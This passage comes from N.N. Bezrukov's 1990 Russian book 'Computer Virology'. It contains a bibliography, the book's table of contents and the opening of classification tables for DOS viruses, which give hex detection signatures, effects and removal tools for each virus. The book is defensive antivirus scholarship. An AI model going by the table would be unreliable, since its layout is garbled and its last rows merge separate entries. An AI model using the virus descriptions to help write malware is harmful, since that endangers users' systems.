[Pozzo86] Pozzo M., Gray T. A model for the containment of computer
viruses // Proc. 2nd Aerospace Computer Security Conf., 1986, pp.11-18
[Pozzo87] Pozzo M.M., Gray T.E. An approach to containing computer
viruses // C&S, 1987, v.6, No 4, pp.321-331
[Preston89] Preston C.M. Review of VIRUSCAN // C&S, 1989, v.8, No 8,
pp.663-668
[Quant89] Quant H.A. Virus versus vaccine // Information Age, 1989,
v.11, No 3, pp.138-143
[Radai89] Radai Y. The Israeli PC virus // C&S, 1989, v.8, No 2,
pp.111-113
[Radelow88] Radelow B., Merkl W. Schutz gegen computerviren // Chip,
1988, No 7, pp.84-88
[Rimmer88] Rimmer S. Virus check // Computing Now, 1988, v.6, No 7,
pp.45-48
[Rinke90] Rinke W. Jagdszenen in Hessisch-Sibirien // Toolbox, 1990,
No 5, pp.78-80
[Risch88] Risch H.-J. Angst vor computer-viren // C't, 1988, No 7,
pp.70-71
[Rochlis89] Rochlis J.A., Eichin M.W. With microscope and tweezers:
the worm from MIT's perspective // CACM, 1989, v.32, No 6, pp.689-698
[Ross88] Ross S.J. Viruses, worms and other (computer) plagues //
EDPAJ, 1988, v.3, pp.21-23
[Rubenking88a] Rubenking N.J. How vaccine programs work //
PC Magazine, 1988, v.7, No 12, p.35
[Rubenking88b] Rubenking N.J. Antivirus programs fight data loss //
PC Magazine, 1988, v.7, No 12, p.36
[Rubenking89] Rubenking N.J. Infection protection // PC Magazine,
1989, v.8, No 8, pp.193-228
[Rummer89] Rummer P. Do you have virus insurance ? // Systems 3X & AS
World, 1989, v.17, No 6, pp.76-86
[Russo89] Russo J., Hale T.C., Helm R.S. Computer viruses: new
potential liability for software developers and expert system providers
// International Computer Law Adviser, 1989, v.3, No 6, pp.4-13
[Ruzicka89] Ruzicka K. Virenschutz durch Secure // Toolbox, 1989,
v.4, No 5, pp.38-39
[Ryan88] Ryan A.J., Margolis N. Verdict awaits monger: hero or
hacker ? // CW, 1988, v.XXII, No 46 (Nov. 14), p.8
[Saffo89] Saffo P. Consensual realities in cyberspace // CACM, 1989,
v.32, No 6, pp.664-665
[Samuelson89] Samuelson P. Can hackers be sued for damages caused by
computer viruses ? // CACM, 1989, v.32, No 6, pp.666-669
[Sanz89a] Sanz D. Le hit-parade de l'infection programmee // Science
& vie Micro, 1989, No 66, pp.145-150
[Sanz89b] Sanz D. Les virus: sabotage assiste par ordinateur // Soft
& Micro, 1989, No 55, pp.150-165
[Savage88] Savage J.A. Sendmail developer speaks out // CW, 1988,
v.XXII, No 46 (November 14), p.10
[Schloter89] Schloter M. Zauberlehrlinge und geister: viren - eine
gefahr fur die ganze computerszene ? // Toolbox, 1989, v.4, No 1,
pp.48-50
[Schmidt87] Schmidt E. Computerviren - wie sie schaden was sie nutzen
// Computerwoche, 1987, v.14, No 13 (Mar. 27), pp.32-36
[Schryver88] Schryver J. Virus informatique: decontaminez votre
ordinateur ! // Micro Systemes, 1988, No 92, pp.60-66
[Schryver89] Schryver J. Virus, la contamination multiforme // Micro
Systemes, 1989, No 101, pp.84-85
[Schuster89] Schuster A. Virtest: schutz bei virenbefall // Toolbox,
1989, v.4, No 3, pp.40-47
[Seeley89] Seeley D. Password cracking: a game of wits // CACM, 1989,
v.32, No 6, pp.700-703
[Sell90] Sell M. Tendencje w swiecie wirusow // PCkurier, 1990,
No 16, p.12
[Seymour88] Seymour J., Matzkin J. Confronting the growing threat of
harmful computer software viruses // PC Magazine, 1988, v.7, No 12,
pp.33-35
[Shoch82] Shoch J.F., Hupp J.A. The worm programs - early
experience with a distributed computation // CACM, 1982, v.25, No 3, pp.
172-180
[Simon90] Simon H.-J. Virenjagd per grips // C't, 1990, No 5,
pp.218-230
[Simons90] Simons G.L., Elbra T. Protection from viruses //
Information Age, 1990, v.12, No 2, pp.109-115
[Solomon88] Solomon A. A Trojan war // PCW, 1988, v.11, No 8,
pp.166-170
[SP&E72] Darwin // Software: Practice and Experience, 1972, v.2,
No 1, pp.93-96
[SP88] Computer viruses act as data system time bombs // Software
Protection, 1988, v.VII, No 6-7, pp.20-22
[Spafford89a] Spafford E.H. The Internet worm program: an analysis //
Computer Communication Review, 1989, v.19, No 1, pp.18-57
[Spafford89b] Spafford E.H. Crisis and aftermath // CACM, 1989, v.32,
No 6, pp.678-687
[Sperber88] Sperber J. Virusfieber // MC, 1988, No 7, pp.74-78
[Spiegel84] Verborgener befehl // Der Spiegel, 1984, v.38, No 47
(Nov. 19), pp.262-267
[Stindt89] Stindt A. Showblock mit virus-check: diskettensectoren im
blick // Toolbox, 1989, v.4, No 4, pp.60-63
[Stover89] Stover D. Viruses, worms, trojans, and bombs // Popular
Science, 1989, v.235, No 3, pp.59-62,104,108
[SW89] Viruses, worms et al. // Software World, 1989, v.20, No 3,
pp.12-14
[Thiedig88] Thiedig I., Muller H. Computer-viren als spezielle klasse
selbstreproduzierender programme // Wissenschaftliche Beitrage zur
Informatik.- Informatik-zentrum des Hochschoolwesens an der Technische
Universitat Dresden, 1988, No 2, pp.14-21
[Thompson84] Thompson K. Reflections on trusting trust // CACM, 1984,
v.27, No 8, pp.761-764
[Tolkien66] Tolkien J.R.R. The fellowship of the Rings. Being the
first part of the Lord of the Rings.- George Allen and Unwin, 1966,
1974.- (есть сокр. русский перевод:
Толкиен Дж.Р.Р. Хранители. Летопись первая из эпопеи Властелин
Колец.- М.: Детская литература, 1983.- 335 с.)
[Treplin89a] Treplin D. Virenschutzprogramme // Chip, 1989, No 6,
pp.72-75
[Treplin89b] Treplin D. Wege zur virenbekampfung // Chip, 1989, No 9,
pp.276-277
[Tuck89] Tuck R. The aftermath of the virus // EDPAJ, 1989, v.1,
pp.9-10
[Vogt89] Vogt E.-E., Guhl H. Die pest im netz // Chip Tool, 1989,
No 2, pp.66-72
[Wagner89] Wagner M., Dierstein R. Konsequenzen aus dem fall Morris
// KES, 1989, v.5, No 1, pp.18-28
[Webster89] Webster A.E. University of Delaware and the Pakistani
computer virus // C&S, 1989, v.8, No 2, pp.103-105
[Weiner89] Weiner M. Virus - dossier // Monitor, 1989, No 5, pp.75-91
[Weiss82] Self-assessment procedure IX / Weiss E.A. (ed.) // CACM,
1982, v.25, No 3, pp.181-195
[Wernery87] Wernery S. Die neue gefahr - computerviren // Chip, 1987,
No 9, pp.34-37
[White89] White C.E. Viruses and worms: a campus under attack // C&S,
1989, v.8, No 4, pp.283-290
[Whitmyer88] Whitmyer C.F. Computer viruses: there are ways to combat
them // The Office, 1988, v.108, No 3, p.28
[Whitmyer89] Whitmyer C.F. Computer viruses: the potential for damage
exists // The Office, 1989, v.110, No 6, p.24
[Wiseman89] Wiseman S. Preventing viruses in computer systems // C&S,
1989, v.8, No 5, pp.427-432
[Witten87] Witten I.H. Computer (in)security: infiltrating open
system // Abacus, 1987, v.4, No 4, pp.7-25
[Witten90] Witten I., Thimbleton H. The worm that turned // PCW,
1990, v.13, No 7, pp.202-206
[Woehlebier88] Woehlebier H. Der weihnachtsbaum, der um die welt ging
// KES, 1988, v.4, No 1, pp.4-7
[Wong89a] Wong K. Computer security: what's new ? // DuD, 1989, No 3,
pp.133-137
[Wong89b] Wong K. Computer virus - nuisance or corporate threat ? //
DuD, 1989, No 11, pp.567-572
[Wood89] Wood P. Safe and secure ? // Byte, 1989, v.14, No 5,
pp.253-258
[Wyk89] van Wyk K.R. The Lehigh virus// C&S, 1989, v.8, No 2,
pp.107-110
[Yovel89] Yovel Sh. On viruses and top managers // Information Age,
1989, v.11, No 4, pp.202-204
[Zajac88a] Zajac B.P. Computer viruses: the new global threat //
CL&SR, 1988, v.4, No 1, pp.3-4; No 2, pp.30-31
[Zajac88b] Zajac B.P. The legal implications of viruses // CL&SR,
1988, v.4, No 4, pp.36-37
[Zajac88c] Zajac B.P. Viruses: should we quit talking about them ? //
C&S, 1988, v.7, No 5, pp.471-472
[Zajac89a] Zajac B.P. Virus hits major US computer network // CL&SR,
1989, v.4, No 5, pp.34-35
[Zajac89b] Zajac B.P. Computer viruses: can they be prevented ? //
CL&SR, 1989, v.5, No 1, pp.18-21
[Zajac89c] Zajac B.P. Virus hits Michigan medical centers // CL&SR,
1989, v.5, No 2, p.28
[Zajac89d] Zajac B.P. Legal options to computer viruses // C&S, 1989,
v.8, No 1, pp.25-27
[Zajac89e] Zajac B.P. Disaster recovery - are you really ready ? //
C&S, 1989, v.8, No 4, pp.297-298
[Zajac90a] Zajac B.P. Computer viruses: can they be prevented ? //
C&S, 1990, v.9, No 1, pp.25-31
Н.Н.Безруков
КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ
ОГЛАВЛЕНИЕ
1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ
1.1. Предыстория
1.1.1. Первые эксперименты
1.1.2. Романы Бруннера, Гибсона и расцвет околовирусного
направления в научной фантастике
1.1.3. Apple II и BBS создают условия для распространения
троянских программ и вирусов
1.1.4. Первые эксперименты с сетевыми вирусами
1.1.5. Тьюринговская лекция Кена Томпсона
1.1.6. Игра Бой в памяти, работы Коэна
и другие события 1984 г.
1.1.7. Первые попытки противодействия: список
грязная дюжина и первые антивирусные программы
1.2. Второй этап у компьютеры в осаде
1.2.1. Хакеры
1.2.2. Первые случаи массового заражения
1.2.3. Вирусы и Микрософт: MS DOS как VIR DOS
1.2.4. Появление более вирусоустойчивых альтернатив MS DOS
1.2.5. OS/2 и компьютерные вирусы
1.2.6. Роль компьютерных сетей
1.2.7. Появление вирусов в СССР
1.2.8. Отечественные антивирусные публикации
1.2.9. Первые отечественные антивирусные программы, начало
формирования рынка программных средств защиты от вирусов
1.2.10. Появление аппаратных средств защиты от вирусов
1.2.11. Семинар Системное программирование и бюллетень
СОФТПАНОРАМА
1.2.12. Болгарские и польские исследования
1.2.13. Законы, направленные против техно-крыс
1.2.14. Этические проблемы, связанные с распространением
компьютерных вирусов
1.2.15. Проблема самоизоляции
1.3. Современная ситуация
1.3.1. Хроника событий
1.3.2. Болгарский вирусный взрыв
1.3.3. Колхоз им. Герострата, или вирусы, выращенные в СССР
2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
2.1. Программы-вандалы
2.2. Троянские программы
2.3. Компьютерные вирусы
2.4. Анатомия компьютерного вируса
2.4.1. Структура файлового нерезидентного вируса
2.4.2. Структура файлового резидентного вируса
2.4.3. Структура бутового вируса
2.5. Панацеи не существует (общая классификация средств защиты)
2.6. Жизненный цикл компьютерных вирусов
2.7. Среда обитания вирусов
2.8. Симптомы заражения
2.9. Вызываемые вирусами эффекты
2.10. Повторное заражение
2.11. Вирусофобия и попытки ее эксплуатации
2.12. О возможности повреждения оборудования
2.13. Легенды о полезных вирусах
3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
3.1. Принцип построения классификации
3.2. Классификация файловых вирусов
3.3. Классификация бутовых вирусов
3.4. Использование классификационных таблиц
4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
4.1. Венская группа
4.1.1. Базисный вирус С-648 (Vienna у Вена)
4.1.2. Штамм С-623 (Vienna-X)
4.1.3. Штамм C-627 (Vienna-Y)
4.2. Польская группа
4.2.1. Вирус С-534 (Toothless у Беззубый, W13)
4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B у Беззубый-Б, W13-B)
4.3. Группа IV (Amstrad)
4.3.1. C-345 (Pixel у Пиксель)
4.3.2. C-847 (Amstrad)
4.3.3. C-740 (Canser у Рак)
4.4. Вирус E-1961 (Yankee Doodle-2 у Янки Дудль-2)
4.5. Вирус C-1024 (Bebe у Бебе)
4.6. Вирус C-257
5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
5.1. Группа Буквопад
5.1.1. Вирус RС-1701 (Cascade у Буквопад)
5.1.2. Вирус RС-1704 (Cascade-B у Буквопад-Б)
5.2. Иерусалимская группа
5.2.1 Вирус RCE-1813 (Ierusalem у Иерусалим, Black Friday у
Черная пятница)
5.2.2. Вирус RCE-1636 (Sunday у Воскресенье)
5.2.3. Воронежская подгруппа
5.2.3.1. Вирус RC-529 (Peterburg у Петербург, Пакость-1)
5.2.3.2. Вирус RC-600 (Пакость-2)
5.2.3.3. Вирус RC-1600 (Voronezh 2.01 у Воронеж 2.01,
Пакость-3)
5.2.4. Другие представители иерусалимской группы.
5.3. Группа TP-вирусов
5.3.1. Подгруппа Vacsina
5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5)
5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04).
5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10)
5.3.2. Подгруппа музыкальной перезагрузки
5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 у
Янки дудль-19, Музыкальная перезагрузка)
5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 у
Янки дудль-18, Музыкальная перезагрузка)
5.3.3. Подгруппа музыкальных самоедов
5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C у
Янки дудль-2С, Five o'clock)
5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 у
Янки дудль-21)
5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 у
Янки дудль-22)
5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 у
Янки дудль-26)
5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D у
Янки дудль-2D)
5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 у
Янки дудль-29)
5.4. Группа Avenger
5.4.1. Вирус RCE-1800 (Dark Avenger у Черный мститель; Eddie у
Эдди)
5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev у Анти-Бончев)
5.5. Вирус RCE-1277 (Murphy у Мерфи)
5.6. Группа второй половины таблицы прерываний
5.6.1. Вирус RC-492 (sI)
5.6.2. Вирус RC-488 (Flu-2 у Грипп-2, LoveChild у Внебрачный
ребенок)
5.7. Группа стелс-вирусов
5.7.1. RCE-04096 (Frodo у Фродо, 4096)
5.7.2. Вирус RC-0-512 (512, 666)
5.8. Вирус RC-394 (Attention у Внимание)
6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
6.1. Общие замечания
6.2. Новые стелс-вирусы
6.2.1. Вирус RCE-03584 (Fish у Рыба)
6.2.2. Вирус Mother Fish (Whale)
6.3. Болгарская серия
6.3.1. Новые вирусы группы Dark Avenger
6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3)
6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после
смерти)
6.3.1.3. Вирус RCE-1024
6.3.1.4. Вирус RCE-02100
6.3.2. Вирус RC-1701p (Phoenix - Феникс)
6.4. Файловые вирусы восточного происхождения
6.4.1. Вирус RCE-2064 (Wolfman)
6.4.2. Вирус C-743 (Taiwan-2)
6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3)
6.4.4. Вирус RCE-4096 (Plastique)
6.5. Некоторые ископаемые файловые вирусы
6.5.1. Вирус RC-0-346 (Lehigh - Лехайский)
6.5.2. Вирус dBASE
6.5.3. Screen Virus - экранный вирус
6.5.4. Группа первоапрельских вирусов
6.5.4.1. Вирус RC-897
6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2,
6.5.5. Группа Datacrime (Дейтакрайм)
6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 1168,
Columbus Day - День Колумба)
6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280,
Columbus Day - День Колумба)
6.5.5.3. Вирус СE-1514
6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB, 1917,
Columbus Day - День Колумба)
6.6. Мифические файловые вирусы
6.6.1. Вирус Cookie, Cookie Monster - Печенье
6.6.2. Вирус, заражающий объектные библиотеки
6.6.3. Вирус падающие головки винчестера
6.6.4. Вирус в сетевом драйвере
6.6.5. Сетевой вирус RCE-2231
6.6.6. Вирусы, поражающие скрытые системные файлы
7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP
7.1. Итальянская группа
7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing -
Итальянский попрыгунчик)
7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пинг-
понг, модифицированный вирусом Янки Дудль)
7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг)
7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг)
7.2. Пакистанская группа
7.2.1. Вирус Dx3-E9 (Сингапурский вариант Душманских мозгов)
7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus -
Пакистанский вирус; Brain-86 - Душманские Мозги-86)
7.2.3. Штамм Dx3-E9 (Ashar - Ашар)
7.3. Южнозеландская группа
7.3.1. Вирус M-05 (Stoned - Забалдевший)
7.3.2. Штамм Stone Rostov
7.3.3. Вирус PrintScreen
7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер)
7.5. Вирус D-29 (Den-Zuk - Ден-Зук)
7.6. Индийская группа
7.6.1. Вирус WM-1F (Joshi - Джоши)
8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
8.1. Смешанные бутово-файловые вирусы
8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака)
8.1.2. Вирус RCE-2560 (Virus-101)
8.1.3. Вирус RC-1253 (AntiCad, V-1)
8.1.4. Вирус RCE-1040 (Anthrax)
8.2. Бутовые вирусы восточного происхождения
8.2.1. Вирус Microbes
8.2.2. Вирус AirCop
8.2.3. Вирус Korea
8.2.4. Вирус Ohio
8.3. Ископаемые бутовые вирусы
8.3.1. Вирус Alameda (Аламеда)
8.3.2. Вирус Chaos (Хаос)
8.4. Мифические бутовые вирусы
8.4.1. Вирус Bxxx (Boot Killer - бут-киллер)
9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ
9.1. Вирус Christmas Tree (Рождественская елка)
9.2. Вирус Морриса
9.3. Вирусы в локальных сетях
9.3.1. Вирус 1260
10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ
10.1. Классификация cредств защиты от вирусов
10.2. Основная технологическая схема защиты
10.2.1. Организация входного контроля нового программного
обеспечения
10.2.1.1. Понятия достоверной дистрибутивной копии и
сертификата
10.2.1.2. Контроль текстовых строк, содержащихся в файле
10.2.1.3. Использование отладчиков и дизассемблеров
10.2.2. Карантинный режим
10.2.2.1. Троянские компоненты в незаконно распространяемых
копиях программ и программах со сломанной защитой
10.2.2.2. Троянские компоненты в антивирусных программах
10.2.2.3. После покупки компьютера проверяйте содержимое
винчестера
10.2.3. Сегментация информации на винчестере
10.2.4. Защита операционной системы от заражения
10.2.4.1. Стратегия защиты командного процессора
10.2.4.2. Использование каталога BAT-файлов
10.3. Архивирование
10.3.1. Используйте программы резервирования FAT и главного
каталога в AUTOEXEC.BAT
10.3.2. Используйте систему неделя-месяц-год
10.3.3. В защиту бумажной технологии
10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не
поздно
10.3.5. Переписывая программы, различайте эталонную и рабочую
копию
10.4. Методика применения средств защиты
10.4.1. Типичные ошибки
10.4.2. Методика применения детекторов
10.4.2.1. Использование Norton Utilities и PCTools как
универсальных детекторов вирусов
10.4.2.2. Поиск текстовых сигнатур
10.4.3. Методика применения фагов
10.4.4. Методика использования резидентных сторожей
10.4.5. Методика использования ревизоров
10.4.6. Вакцинирование
10.4.7. Критерии оценки качества антивирусных программ
10.4.7.1. Критерии оценки качества детекторов
10.4.7.2. Сравнительный анализ полифагов
10.4.7.3. Критерии оценки и сравнительный анализ ревизоров
10.4.7.4. Сравнительный анализ вакцин
10.4.7.5. Критерии оценки сторожей
10.4.8. О первом конкурсе антивирусных программ, распространяемых
бесплатно
10.4.8.1. Оценки и рекомендации жюри по полифагам
10.4.8.1.1. A I D S T E S T
10.4.8.1.2. D O C T O R
10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам
10.4.8.2.1. D L I
10.4.8.2.2. V L
10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам
10.4.8.3.1. S B M и C H E C K 2 1
10.5. Отдельные приемы защиты
10.5.1. Регулярно оптимизируйте винчестер
10.5.2. Прятать новые версии антивирусных программ просто
невыгодно
10.5.3. Нормальное состояние дискеты - защищенное от записи
10.5.4. Как работать на зараженном файловым вирусом компьютере при
отсутствии вакцины
10.5.5. При хранении антивирусных программ на винчестере
используйте архивирование
10.5.6. Использование макетов программ типа DUMYxxxx для
определения место нахождения спрятанных байтов
10.6. Методика восстановления информации
10.6.1. Создайте и отработайте план восстановления винчестера !
10.6.2. Если что-то случилось - избегайте поспешных действий
10.6.3. Советы по восстановлению информации
10.7. Некоторые организационные меры защиты
10.8. Юридические методы защиты от компьютерных вирусов
10.8.1. Некоторые судебные процессы над кракерами и разработчиками
вирусов
11. ЗАКЛЮЧЕНИЕ
ЛИТЕРАТУРА
ПРИЛОЖЕНИЕ 1. Классификационная таблица файловых вирусов, обнаруженных в
CCCР
ПРИЛОЖЕНИЕ 2. Классификационная таблица бутовых вирусов, обнаруженных в
CCCР
ПРИЛОЖЕНИЕ 3. Классификационная таблица файловых вирусов, известных
только по литературе
ПРИЛОЖЕНИЕ 4. Классификационная таблица бутовых вирусов, известных
только по литературе
ПРИЛОЖЕНИЕ 5. Перечень отечественных антивирусных средств, помещенных в
выпусках электронного бюллетеня СОФТПАНОРАМА
ПРИЛОЖЕНИЕ 6. Некоторые сведения о файловой системе MS DOS
ПРИЛОЖЕНИЕ 7. Исполняемые файлы и связанные с ними системные блоки
ПРИЛОЖЕНИЕ 8. Прерывания MS DOS
ПРИЛОЖЕНИЕ 9. Наиболее часто используемые функции MS DOS
ДДДДДДДДДДДДДДДДДВДДДДДДДДДВДДДВДВДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_ _ Г _Р_Д_ Дескриптор, сигнатуры и фаги данного вируса _ _
Неформальные _Классифи-_ р _а_иГДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ Страна и дата обнаружения, _
названия _кационный_ у _с_н_B _ _ фамилия исследователя обнаружевшего _
_код _ п _п_а_и _ Значение _ и изолировавшего вирус (если известны), _
_вируса _ п _р_м_д _ _ вызываемые эффекты _
_ _ а _о_и_ _ _ _
_ _ _с_к_ _ _ _
_ _ _т_а_ _ _ _
_ _ _р_ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ Kemerovo-Reset _ C-257 _ _1_ _D _Ar Ba Cy Dt Itc K1 Mn Sc _СССР (Кемерово), июль 1990, Сусликов Е. _
_ (Кемеровская _ _ _ _ _P _ _Заражает все COM-файлы в текущем каталоге. _
_ перезагрузка) _ _ _ _ _B1_ _Иногда вызывает перезагрузку MS DOS. Не _
_ _ _ _ _B2_5A 52 89 D6 81 C6 C1 00 89 D8 2D 04 00 _закрывает файлы, открываемые файлы (по _
_ _ _ _ _T _*.COM _одному на заражаемую программу), причем _
_ _ _ _ _ _ _открыть их может очень много. Портит время _
_ _ _ _ _ _ _Не блокирует сообщения о защите от записи. _
_ _ _ _ _ _ _Зараженные программы теряют способность _
_ _ _ _ _ _ _обрабатывать параметры. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
IV-345 _ C-345 _IV _1_~_D _Ab Bat Cy Dn Ee Ihc K1 Li Mn Sc _Западная Европа: 1988; СССP: 1989 _
$ Pixel-1 _ _ _ _ _P _0 =80286 _Н.Н.Безруков _
_ _ _ _ _H _1C, 21 _Простой, плохо отлаженный вирус. _
_ _ _ _ _J _2E8B1E010183C303B104D3EB8CD803C3 _Уничтожает несколько секторов на диске, _
_ _ _ _ _ _ _выбирая их случайным образом и записывая _
_ _ _ _ _ _ _в них содержимое участка оперативной памяти _
_ _ _ _ _F _-V, NEATFAG, K32 _Копирует себя в область векторов прерываний,_
_ _ _ _ _ _ _начиная с 0000:0200h _
_ _ _ _ _ _ _На PC/XT не работоспособен. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 13 месяц-Б, _ С-507 _Ven_1_ _D _An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Ry Sc _Польша: 1988 _
_ Toothless-B _ _ _ _ _DP_256 < LenC _Штамм вируса С-534. При заражении программы _
_ (Беззубый), _ _ _ _ _T1_????????COM _изменяет ее дату с установкой месяца на 13 _
_*# W13-B _ _ _ _ _T2_Мicrosoft _(признак зараженности). Заражает файлы толь-_
_ _ _ _ _ _F _MKS_VIR _ко в текущем каталоге. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ 512 _ RC-O-512_DAv_1_<_D _Cy _Болгария: ноябрь 1989, Весселин Бончев(?) _
_ _ _!!!_ _ _M1_8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 _ВНИМАНИЕ !!! Очень опасный и скрытно размно-_
_Number of the _ _ _ _ _M2_01 8C 45 70 1F 89 57 14 8C CA 8E DA _жающийся вирус второго поколения. _
_Beast Virus, _ _ _ _ _C _1EC54408720AB413CD2F1E52CD2F581F _Первый сегментированный вирус, хранящий _
_(вирус апокалип- _ _ _ _ _T _666 _хвост в свободном секторе последнего класте-_
_сического числа),_ _ _ _ _ _ _ра, распределенного зараженному файлу. _
_Stealth Virus _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_При инсталляции в оперативной памяти занима-_
_(Стелс вирус) _ _ _ _ _ _ _ет часть памяти, отведенной под буфера. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
529, _RС-529 _Ier_1_ _D _An Bn Cn Dn Ee Ihc Jn K1 Lx Mn Se _CCCР (Ленинград): весна 1989, Лозинский Д.Н._
Peterburg, _ _/ВП_ _ _P _529 < LenC < +oo _Возможно, штамм RСE-1813,однако не исключено_
Пакость-1 _ _ _ _ _B _B815CA8B361B01BF00018B0E1D018B1E19 _что наоборот - одна из ранних версий _
_ _ _ _ _F _AIDSTEST, AV _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
13 месяц, _ С-534 _Ven_2_ _D _An Ba Cy Dm13 Ee Itc Jn K1 Li Mn Sc Za _Польша: 1988. _
Микро-88 _ _ _ _ _P _529 < LenC < MaxC _Штамм вируса С-648. При заражении программы_
Toothless Virus, _ _ _ _ _B _D681C60000FCB90300BF0001F3A48BFAB4 _изменяет ее дату с установкой месяца на 13 _
(Беззубый), _ _ _ _ _M1_F3 A4 8B FA B4 30 CD 21 3C 00 _(признак зараженности) В отличие от С-648 _
*# W13 _ _ _ _ _T1_????????COM _заражает файлы только в текущем и корневом _
_ _ _ _ _T2_Мicrosoftyright _каталогах. _
_ _ _ _ _T3_Microsoft 1988 _ _
_ _ _ _ _F _AV, -V, AIDSTEST _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ 600, _ RC-600 _Ier_1_ _D _An Ba Cy Dn Ee Ihc Jn K1 Li Mc Se _Днепропетровск, май 1990, А.Сесса. _
_ Пакость-2 _ _ _ _ _P _600 _D _Arbk Ba Cy Ds Ee Itc Jn K1 Li Sс Zb _Австрия, апрель 1988. СССР: август 1988 _
(Вена-А), _ _ _ _ _P _10 < LenC < MaxC _Поражает примерно каждый восьмой заражаемый _
DOS-62 _ _ _ _ _M _8BFE81C71F008BDE81C61F00 Штамм A _файл, так что при его запуске инициируется _
(ДОС-62), _ _ _ _ _M _8BFE83C71F908BDE83C61F90 Штамм B _перезагрузка MS DOS. При поражении _
